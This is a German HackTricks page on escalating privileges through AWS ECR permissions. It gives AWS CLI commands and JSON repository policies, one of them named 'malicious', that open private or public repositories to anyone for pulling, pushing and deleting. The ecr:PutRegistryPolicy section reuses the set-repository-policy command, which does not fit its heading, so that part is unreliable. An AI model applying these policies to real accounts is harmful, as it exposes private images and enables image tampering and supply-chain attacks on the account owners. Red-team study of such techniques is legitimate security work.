AWS - ECR Privesc

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Ein Angreifer mit den Berechtigungen ecr:GetAuthorizationToken und ecr:BatchGetImage kann sich bei ECR anmelden und Bilder herunterladen.

Für weitere Informationen zum Herunterladen von Bildern:

pageAWS - ECR Post Exploitation

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Abfangen sensibler Informationen im Datenverkehr.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Ein Angreifer mit all diesen Berechtigungen kann sich bei ECR anmelden und Bilder hochladen. Dies kann nützlich sein, um Privilegien auf andere Umgebungen zu eskalieren, in denen diese Bilder verwendet werden.

Um zu lernen, wie man ein neues Bild hochlädt/aktualisiert, überprüfen Sie:

pageAWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Wie der vorherige Abschnitt, aber für öffentliche Repositories.

ecr:SetRepositoryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Repository-Richtlinie ändern, um sich selbst (oder sogar allen) Lese-/Schreibzugriff zu gewähren. Zum Beispiel wird in diesem Beispiel jedem Lesezugriff gewährt.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Inhalt von my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Wie im vorherigen Abschnitt, aber für öffentliche Repositories. Ein Angreifer kann die Repository-Richtlinie eines ECR Public-Repositories ändern, um unbefugten öffentlichen Zugriff zu gewähren oder ihre Berechtigungen zu eskalieren.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potenzielle Auswirkungen: Unberechtigter öffentlicher Zugriff auf das ECR-Public-Repository, was es jedem Benutzer ermöglicht, Bilder hochzuladen, herunterzuladen oder zu löschen.

ecr:PutRegistryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Registerrichtlinie ändern, um sich selbst, sein Konto (oder sogar allen) Lese-/Schreibzugriff zu gewähren.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated